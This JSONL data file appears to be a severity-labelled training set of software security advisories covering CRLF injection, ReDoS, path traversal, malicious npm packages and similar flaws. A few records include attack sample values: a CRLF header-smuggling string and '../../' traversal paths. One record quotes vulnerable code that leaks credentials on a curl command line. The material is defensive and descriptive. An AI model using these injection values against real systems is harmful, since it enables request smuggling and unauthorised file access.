-{"id": "c3ec37cf67a5b9c7b6ed", "text": "CRLF injection in httplib2\n\n### Impact\nAttacker controlling unescaped part of uri for `httplib2.Http.request()` could change request headers and body, send additional hidden requests to same server.\n\nImpacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping.\n\n### Patches\nProblem has been fixed in 0.18.0\nSpace, CR, LF characters are now quoted before any use.\nThis solution should not impact any valid usage of httplib2 library, that is uri constructed by urllib.\n\n### Workarounds\nCreate URI with `urllib.parse` family functions: `urlencode`, `urlunsplit`.\n\n```diff\nuser_input = \" HTTP/1.1\\r\\ninjected: attack\\r\\nignore-http:\"\n-uri = \"https://api.server/?q={}\".format(user_input)\n+uri = urllib.parse.urlunsplit((\"https\", \"api.server\", \"/v1\", urllib.parse.urlencode({\"q\": user_input}), \"\"))\nhttp.request(uri)\n```\n\n### References\nhttps://cwe.mitre.org/data/definitions/93.html\nhttps://docs.python.org/3/library/urllib.parse.html\n\nThanks to Recar https://github.com/Ciyfly for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2020-05](mailto:temotor@gmail.com)", "text_raw": "CRLF injection in httplib2\n\n[Severity: MEDIUM]\n\n### Impact\nAttacker controlling unescaped part of uri for `httplib2.Http.request()` could change request headers and body, send additional hidden requests to same server.\n\nImpacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping.\n\n### Patches\nProblem has been fixed in 0.18.0\nSpace, CR, LF characters are now quoted before any use.\nThis solution should not impact any valid usage of httplib2 library, that is uri constructed by urllib.\n\n### Workarounds\nCreate URI with `urllib.parse` family functions: `urlencode`, `urlunsplit`.\n\n```diff\nuser_input = \" HTTP/1.1\\r\\ninjected: attack\\r\\nignore-http:\"\n-uri = \"https://api.server/?q={}\".format(user_input)\n+uri = urllib.parse.urlunsplit((\"https\", \"api.server\", \"/v1\", urllib.parse.urlencode({\"q\": user_input}), \"\"))\nhttp.request(uri)\n```\n\n### References\nhttps://cwe.mitre.org/data/definitions/93.html\nhttps://docs.python.org/3/library/urllib.parse.html\n\nThanks to Recar https://github.com/Ciyfly for finding vulnerability and discrete notification.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)\n* Email [current maintainer at 2020-05](mailto:temotor@gmail.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-20", "split": "train"}
-{"id": "231f732675644aef0303", "text": "Node-Redis potential exponential regex in monitor mode\n\n### Impact\nWhen a client is in monitoring mode, the regex begin used to detected monitor messages could cause exponential backtracking on some strings. This issue could lead to a denial of service.\n\n### Patches\nThe problem was fixed in commit [`2d11b6d`](https://github.com/NodeRedis/node-redis/commit/2d11b6dc9b9774464a91fb4b448bad8bf699629e) and was released in version `3.1.1`.\n\n### References\n#1569 (GHSL-2021-026)", "text_raw": "Node-Redis potential exponential regex in monitor mode\n\n[Severity: HIGH]\n\n### Impact\nWhen a client is in monitoring mode, the regex begin used to detected monitor messages could cause exponential backtracking on some strings. This issue could lead to a denial of service.\n\n### Patches\nThe problem was fixed in commit [`2d11b6d`](https://github.com/NodeRedis/node-redis/commit/2d11b6dc9b9774464a91fb4b448bad8bf699629e) and was released in version `3.1.1`.\n\n### References\n#1569 (GHSL-2021-026)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-27", "split": "train"}
-{"id": "1bbda3841ef072c1633d", "text": "Deserialization of Untrusted Data in logback\n\nIn logback version 1.2.7 and prior versions, an attacker with the required privileges to edit configurations files could craft a malicious configuration allowing to execute arbitrary code loaded from LDAP servers.", "text_raw": "Deserialization of Untrusted Data in logback\n\n[Severity: MEDIUM]\n\nIn logback version 1.2.7 and prior versions, an attacker with the required privileges to edit configurations files could craft a malicious configuration allowing to execute arbitrary code loaded from LDAP servers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "961a57fd4b654332641e", "text": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 CSRF Add Admin Exploit", "text_raw": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 CSRF Add Admin Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-27", "split": "train"}
-{"id": "4deba69fbfd834bfa2cf", "text": "Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability", "text_raw": "Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-02-02", "split": "train"}
-{"id": "d1715cb58c6763629ffc", "text": "Prototype Pollution in @fabiocaccamo/utils.js\n\nutils.js is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "text_raw": "Prototype Pollution in @fabiocaccamo/utils.js\n\n[Severity: HIGH]\n\nutils.js is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "59626b1003734e46c0d5", "text": "steroids downloads resources over HTTP\n\nAffected versions of `steroids` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `steroids`.\n\n## Recommendation\n\nThis vulnerability was discovered and reported in 2016, yet has not seen a patch issued as of 03/2018. As of 08/2022, [the package is marked as deprecated](https://www.npmjs.com/package/steroids) and the GitHub repository is no longer publicly available.\n\nThe best path forward for mitigating this issue is to attempt to use an alternative module that is actively maintained and which provides similar functionality, such as the native PhoneGap API.", "text_raw": "steroids downloads resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `steroids` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `steroids`.\n\n\n## Recommendation\n\nThis vulnerability was discovered and reported in 2016, yet has not seen a patch issued as of 03/2018. As of 08/2022, [the package is marked as deprecated](https://www.npmjs.com/package/steroids) and the GitHub repository is no longer publicly available.\n\nThe best path forward for mitigating this issue is to attempt to use an alternative module that is actively maintained and which provides similar functionality, such as the native PhoneGap API.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "0bec5f551710d258204f", "text": "Regex denial of service vulnerability in codesample plugin\n\n### Impact\nA regex denial of service (ReDoS) vulnerability was discovered in a dependency of the `codesample` plugin. The vulnerability allowed poorly formed ruby code samples to lock up the browser while performing syntax highlighting. This impacts users of the `codesample` plugin using TinyMCE 5.5.1 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.6.0 by upgrading to a version of the dependency without the vulnerability.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.6.0 or higher\n- Disable the `codesample` plugin\n- Disable ruby code samples using the [codesample_languages](https://www.tiny.cloud/docs/plugins/opensource/codesample/#exampleusingcodesample_languages) setting\n- Override the PrismJS syntax highlighter to version 1.21.0 or higher using the [codesample_global_prismjs](https://www.tiny.cloud/docs/plugins/opensource/codesample/#codesample_global_prismjs) setting\n\n### Acknowledgements\nTiny Technologies would like to thank Erik Krogh Kristensen at GitHub for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes56/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](http://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "text_raw": "Regex denial of service vulnerability in codesample plugin\n\n[Severity: LOW]\n\n### Impact\nA regex denial of service (ReDoS) vulnerability was discovered in a dependency of the `codesample` plugin. The vulnerability allowed poorly formed ruby code samples to lock up the browser while performing syntax highlighting. This impacts users of the `codesample` plugin using TinyMCE 5.5.1 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 5.6.0 by upgrading to a version of the dependency without the vulnerability.\n\n### Workarounds\nTo work around this vulnerability, either:\n- Upgrade to TinyMCE 5.6.0 or higher\n- Disable the `codesample` plugin\n- Disable ruby code samples using the [codesample_languages](https://www.tiny.cloud/docs/plugins/opensource/codesample/#exampleusingcodesample_languages) setting\n- Override the PrismJS syntax highlighter to version 1.21.0 or higher using the [codesample_global_prismjs](https://www.tiny.cloud/docs/plugins/opensource/codesample/#codesample_global_prismjs) setting\n\n### Acknowledgements\nTiny Technologies would like to thank Erik Krogh Kristensen at GitHub for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes56/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](http://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-01-06", "split": "train"}
-{"id": "3a89255d534787f82f8f", "text": "SilverStripe Versioned Files module Unpublished files are exposed publicly\n\nIn the Versioned Files module through 2.0.3 for SilverStripe 3.x, unpublished versions of files are publicly exposed to anyone who can guess their URL. This guess could be highly informed by a basic understanding of the symbiote/silverstripe-versionedfiles source code. (Users who upgrade from SilverStripe 3.x to 4.x and had Versioned Files installed have no further need for this module, because the 4.x release has built-in versioning. However, nothing in the upgrade process automates the destruction of these insecure artefacts, nor alerts the user to the criticality of destruction.)", "text_raw": "SilverStripe Versioned Files module Unpublished files are exposed publicly\n\n[Severity: MEDIUM]\n\nIn the Versioned Files module through 2.0.3 for SilverStripe 3.x, unpublished versions of files are publicly exposed to anyone who can guess their URL. This guess could be highly informed by a basic understanding of the symbiote/silverstripe-versionedfiles source code. (Users who upgrade from SilverStripe 3.x to 4.x and had Versioned Files installed have no further need for this module, because the 4.x release has built-in versioning. However, nothing in the upgrade process automates the destruction of these insecure artefacts, nor alerts the user to the criticality of destruction.)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "3e73efa8ab4c4d47b32e", "text": "Uncontrolled resource consumption in nokogiri\n\nThe xz_head function in xzlib.c in libxml2 before 2.9.6 allows remote attackers to cause a denial of service (memory consumption) via a crafted LZMA file, because the decoder functionality does not restrict memory usage to what is required for a legitimate file.", "text_raw": "Uncontrolled resource consumption in nokogiri\n\n[Severity: MEDIUM]\n\nThe xz_head function in xzlib.c in libxml2 before 2.9.6 allows remote attackers to cause a denial of service (memory consumption) via a crafted LZMA file, because the decoder functionality does not restrict memory usage to what is required for a legitimate file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-04-13", "split": "train"}
-{"id": "7ce45c889dadad1fd028", "text": "Cross-site scripting in CLEditor\n\nPremium Software CLEditor 1.4.5 and earlier is affected by: Cross Site Scripting (XSS). The impact is: An attacker might be able to inject arbitrary html and script code into the web site. The component is: jQuery plug-in. The attack vector is: the victim must open a crafted href attribute of a link (A) element.", "text_raw": "Cross-site scripting in CLEditor\n\n[Severity: MEDIUM]\n\nPremium Software CLEditor 1.4.5 and earlier is affected by: Cross Site Scripting (XSS). The impact is: An attacker might be able to inject arbitrary html and script code into the web site. The component is: jQuery plug-in. The attack vector is: the victim must open a crafted href attribute of a link (A) element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "4024daa3dec410e36dbf", "text": "Jupyter Notebook file bypasses sanitization, executes JavaScript\n\nIn Jupyter Notebook before 5.4.1, a maliciously forged notebook file can bypass sanitization to execute JavaScript in the notebook context. Specifically, invalid HTML is 'fixed' by jQuery after sanitization, making it dangerous.", "text_raw": "Jupyter Notebook file bypasses sanitization, executes JavaScript\n\n[Severity: HIGH]\n\nIn Jupyter Notebook before 5.4.1, a maliciously forged notebook file can bypass sanitization to execute JavaScript in the notebook context. Specifically, invalid HTML is 'fixed' by jQuery after sanitization, making it dangerous.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "1c7d502d0300b01953d6", "text": "body-parser-xml vulnerable to Prototype Pollution\n\nbody-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "text_raw": "body-parser-xml vulnerable to Prototype Pollution\n\n[Severity: HIGH]\n\nbody-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-14", "split": "train"}
-{"id": "2f40250ad9ee12deaa17", "text": "SAP NetWeaver XML External Entity (XXE) Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms contains an unspecified vulnerability in BC-BMT-BPM-DSK which allows remote, authenticated users to conduct XML External Entity (XXE) attacks.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-611\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SAP NetWeaver XML External Entity (XXE) Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms contains an unspecified vulnerability in BC-BMT-BPM-DSK which allows remote, authenticated users to conduct XML External Entity (XXE) attacks.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-611\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b0435ab847b4e69ae8f2", "text": "Malicious Package in babel-laoder\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in babel-laoder\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "8b5766314de1793fef7a", "text": "Server-Side Request Forgery in ftp-srv\n\n### Background\n\nThe FTP protocol creates two connections, one for commands and one for transferring data.\nThis second data connection can be created in two ways, on the server by sending the PASV command, or on the client by sending the PORT command.\n\nThe PORT command sends the IP and port for the server to connect to the client with.\n\n### Issue\nSince the client can send an arbitrary IP with the PORT command, this can be used to cause the server to make a connection elsewhere.\n\n### Patches\n\n* _fix: disallow PORT connections to alternate hosts_: e449e75219d918c400dec65b4b0759f60476abca\n\nDeprecation notices have been published for older versions.\n\n### Workarounds\n\nBlacklisting the FTP Command `PORT` will prevent the server from exposing this behaviour through active connections until a fix is applied.\n```js\nconst ftp = new FtpSrv({\n  blacklist: ['PORT']\n});\n```\n\n### References\nhttps://www.npmjs.com/advisories/1445\n\n### Credits\n\nThank you to;\n@trs for fixing it\n@andreeleuterio for reporting it to us for an anonymous user (Vincent) through the NPM platform\n@quiquelhappy for bringing it to our attention after it slipped through the cracks during Christmas\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at [https://github.com/autovance/ftp-srv](https://github.com/autovance/ftp-srv)\n* Email us directly; security@autovance.com", "text_raw": "Server-Side Request Forgery in ftp-srv\n\n[Severity: CRITICAL]\n\n### Background\n\nThe FTP protocol creates two connections, one for commands and one for transferring data.\nThis second data connection can be created in two ways, on the server by sending the PASV command, or on the client by sending the PORT command.\n\nThe PORT command sends the IP and port for the server to connect to the client with.\n\n### Issue\nSince the client can send an arbitrary IP with the PORT command, this can be used to cause the server to make a connection elsewhere.\n\n### Patches\n\n* _fix: disallow PORT connections to alternate hosts_: e449e75219d918c400dec65b4b0759f60476abca\n\nDeprecation notices have been published for older versions.\n\n### Workarounds\n\nBlacklisting the FTP Command `PORT` will prevent the server from exposing this behaviour through active connections until a fix is applied.\n```js\nconst ftp = new FtpSrv({\n  blacklist: ['PORT']\n});\n```\n\n### References\nhttps://www.npmjs.com/advisories/1445\n\n### Credits\n\nThank you to;\n@trs for fixing it\n@andreeleuterio for reporting it to us for an anonymous user (Vincent) through the NPM platform\n@quiquelhappy for bringing it to our attention after it slipped through the cracks during Christmas\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at [https://github.com/autovance/ftp-srv](https://github.com/autovance/ftp-srv)\n* Email us directly; security@autovance.com", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-17", "split": "train"}
-{"id": "991c510b1666e9f27ed6", "text": "Ubisoft Uplay 4.6 Insecure File Permissions Local Privilege Escalation", "text_raw": "Ubisoft Uplay 4.6 Insecure File Permissions Local Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-07-03", "split": "train"}
-{"id": "3bf0d76645a793212d18", "text": "Information disclosure in JBoss Weld\n\nRace condition in JBoss Weld before 2.2.8 and 3.x before 3.0.0 Alpha3 allows remote attackers to obtain information from a previous conversation via vectors related to a stale thread state.", "text_raw": "Information disclosure in JBoss Weld\n\n[Severity: MEDIUM]\n\nRace condition in JBoss Weld before 2.2.8 and 3.x before 3.0.0 Alpha3 allows remote attackers to obtain information from a previous conversation via vectors related to a stale thread state.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "5ec31cf29b58b91a334f", "text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in utilitify\n\nutilitify prior to 1.0.3 allows modification of object properties. The merge method could be tricked into adding or modifying properties of the Object.prototype.", "text_raw": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in utilitify\n\n[Severity: HIGH]\n\nutilitify prior to 1.0.3 allows modification of object properties. The merge method could be tricked into adding or modifying properties of the Object.prototype.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "69b8d02ab473edfc4f42", "text": "Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities", "text_raw": "Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-08-11", "split": "train"}
-{"id": "1ffde3096602886a4eaa", "text": "actionpack Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the `strip_tags` helper in `actionpack/lib/action_controller/vendor/html-scanner/html/node.rb` in Ruby on Rails before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allows remote attackers to inject arbitrary web script or HTML via a tag with an invalid name.", "text_raw": "actionpack Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the `strip_tags` helper in `actionpack/lib/action_controller/vendor/html-scanner/html/node.rb` in Ruby on Rails before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allows remote attackers to inject arbitrary web script or HTML via a tag with an invalid name.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dd73fec5e6e9d92e081b", "text": "LiveQuery publishes user session tokens in parse-server\n\n### Impact\nFor regular (non-LiveQuery) queries, the session token is removed from the response, but for LiveQuery payloads it is currently not. If a user has a LiveQuery subscription on the `Parse.User` class, all session tokens created during user sign-ups will be broadcast as part of the LiveQuery payload.\n\n### Patches\nRemove session token from LiveQuery payload.\n\n### Workaround\nSet `user.acl(new Parse.ACL())` in a beforeSave trigger to make the user private already on sign-up.", "text_raw": "LiveQuery publishes user session tokens in parse-server\n\n[Severity: HIGH]\n\n### Impact\nFor regular (non-LiveQuery) queries, the session token is removed from the response, but for LiveQuery payloads it is currently not. If a user has a LiveQuery subscription on the `Parse.User` class, all session tokens created during user sign-ups will be broadcast as part of the LiveQuery payload.\n\n### Patches\nRemove session token from LiveQuery payload.\n\n### Workaround\nSet `user.acl(new Parse.ACL())` in a beforeSave trigger to make the user private already on sign-up.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "6f9127c2b5802af371d9", "text": "Path Traversal in takeapeek\n\nAll versions of `takeapeek` are vulnerable to path traversal exposing files and directories.\n\n## Recommendation\n\nAs no fix is currently available for this vulnerability is it is our recommendation to use another static file server.", "text_raw": "Path Traversal in takeapeek\n\n[Severity: MEDIUM]\n\nAll versions of `takeapeek` are vulnerable to path traversal exposing files and directories.\n\n\n## Recommendation\n\nAs no fix is currently available for this vulnerability is it is our recommendation to use another static file server.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "b610bd6fd43032261dc7", "text": "Cross-Site Scripting via SVG media files\n\n### Impact\nCross-Site Scripting via SVG media files\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "text_raw": "Cross-Site Scripting via SVG media files\n\n[Severity: HIGH]\n\n### Impact\nCross-Site Scripting via SVG media files\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "e10631c1abc600906077", "text": "Insecure Comparison in secure-compare\n\nVersions of `secure-compare` prior to 3.0.1 are affected by a vulnerability that results in the package always returning true when comparing two strings of the same length, despite differences in the contents of those strings.\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.", "text_raw": "Insecure Comparison in secure-compare\n\n[Severity: HIGH]\n\nVersions of `secure-compare` prior to 3.0.1 are affected by a vulnerability that results in the package always returning true when comparing two strings of the same length, despite differences in the contents of those strings.\n\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "e6ad5277ca853a289748", "text": "Malicious Package in fuffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in fuffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ce1e42c97d63374e06ff", "text": "Command injection in kill-process-on-port\n\nAll versions of package kill-process-on-port are vulnerable to Command Injection via a.getProcessPortId.", "text_raw": "Command injection in kill-process-on-port\n\n[Severity: HIGH]\n\nAll versions of package kill-process-on-port are vulnerable to Command Injection via a.getProcessPortId.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "4e52a414c6f4ced0922c", "text": "NoSQL injection in express-cart\n\nVersions of `express-cart` before 1.1.8 are vulnerable to NoSQL injection.\n\nThe vulnerability is caused by the lack of user input sanitization in the login handlers. In both cases, the customer login and the admin login, parameters from the JSON body are sent directly into the MongoDB query which allows to insert operators.\n\nThese operators can be used to extract the value of the field blindly in the same manner of a blind SQL injection. In this case, the `$regex` operator is used to guess each character of the token from the start.\n\n## Recommendation\n\nUpdate to version 1.1.8 or later.", "text_raw": "NoSQL injection in express-cart\n\n[Severity: HIGH]\n\nVersions of `express-cart` before 1.1.8 are vulnerable to NoSQL injection. \n\nThe vulnerability is caused by the lack of user input sanitization in the login handlers. In both cases, the customer login and the admin login, parameters from the JSON body are sent directly into the MongoDB query which allows to insert operators. \n\nThese operators can be used to extract the value of the field blindly in the same manner of a blind SQL injection. In this case, the `$regex` operator is used to guess each character of the token from the start.\n\n\n## Recommendation\n\nUpdate to version 1.1.8 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "4efcf93075cfc655564b", "text": "Path traversal in Grafana Loki\n\nAn issue was discovered in Grafana Loki through 2.2.1. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Loki will attempt to parse a rules file at that location and include some of the contents in the error message.", "text_raw": "Path traversal in Grafana Loki\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Grafana Loki through 2.2.1. The header value X-Scope-OrgID is used to construct file paths for rules files, and if crafted to conduct directory traversal such as ae ../../sensitive/path/in/deployment pathname, then Loki will attempt to parse a rules file at that location and include some of the contents in the error message.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "40269267a2dddf005390", "text": "Local API Login Credentials Disclosure in paratrooper-pingdom\n\nThe paratrooper-pingdom gem 1.0.0 for Ruby allows local users to obtain the App-Key, username, and password values by listing the curl process.\n\n### Vulnerable Code:\n\nFrom: `paratrooper-pingdom-1.0.0/lib/paratrooper-pingdom.rb`\n\n```ruby\ndef setup(options = {})\n  %x[curl https://api.pingdom.com/api/2.0/checks -X PUT -d \"paused=true\" -H \"App-Key: #{app_key}\" -u \"#{username}:#{password}\"]        \nend\n\ndef teardown(options = {})\n  %x[curl https://api.pingdom.com/api/2.0/checks -X PUT -d \"paused=false\" -H \"App-Key: #{app_key}\" -u \"#{username}:#{password}\"]        \nend\n```\n\nA malicious user could monitor the process tree to steal the API key, username and password for the API login.", "text_raw": "Local API Login Credentials Disclosure in paratrooper-pingdom\n\n[Severity: LOW]\n\nThe paratrooper-pingdom gem 1.0.0 for Ruby allows local users to obtain the App-Key, username, and password values by listing the curl process.\n\n### Vulnerable Code:\n\nFrom: `paratrooper-pingdom-1.0.0/lib/paratrooper-pingdom.rb`\n\n```ruby\ndef setup(options = {})\n  %x[curl https://api.pingdom.com/api/2.0/checks -X PUT -d \"paused=true\" -H \"App-Key: #{app_key}\" -u \"#{username}:#{password}\"]        \nend\n\ndef teardown(options = {})\n  %x[curl https://api.pingdom.com/api/2.0/checks -X PUT -d \"paused=false\" -H \"App-Key: #{app_key}\" -u \"#{username}:#{password}\"]        \nend\n```\n\nA malicious user could monitor the process tree to steal the API key, username and password for the API login.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "bdf20f091b2b1dbf51a3", "text": "Path Traversal in MHolt Archiver\n\nAll versions of archiver allow attacker to perform a Zip Slip attack via the \"unarchive\" functions. It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a \"../../file.exe\" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\n### Specific Go Packages Affected\ngithub.com/mholt/archiver/cmd/arc", "text_raw": "Path Traversal in MHolt Archiver\n\n[Severity: MEDIUM]\n\nAll versions of archiver allow attacker to perform a Zip Slip attack via the \"unarchive\" functions. It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a \"../../file.exe\" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\n### Specific Go Packages Affected\ngithub.com/mholt/archiver/cmd/arc", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "08da2e143c130f188162", "text": "Improper Input Validation (RCE)\n\nWazuh API in Wazuh from 4.0.0 to 4.0.3 allows authenticated users to execute arbitrary code with administrative privileges via /manager/files URI. An authenticated user to the service may exploit incomplete input validation on the /manager/files API to inject arbitrary code within the API service script.", "text_raw": "Improper Input Validation (RCE)\n\n[Severity: HIGH]\n\nWazuh API in Wazuh from 4.0.0 to 4.0.3 allows authenticated users to execute arbitrary code with administrative privileges via /manager/files URI. An authenticated user to the service may exploit incomplete input validation on the /manager/files API to inject arbitrary code within the API service script.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
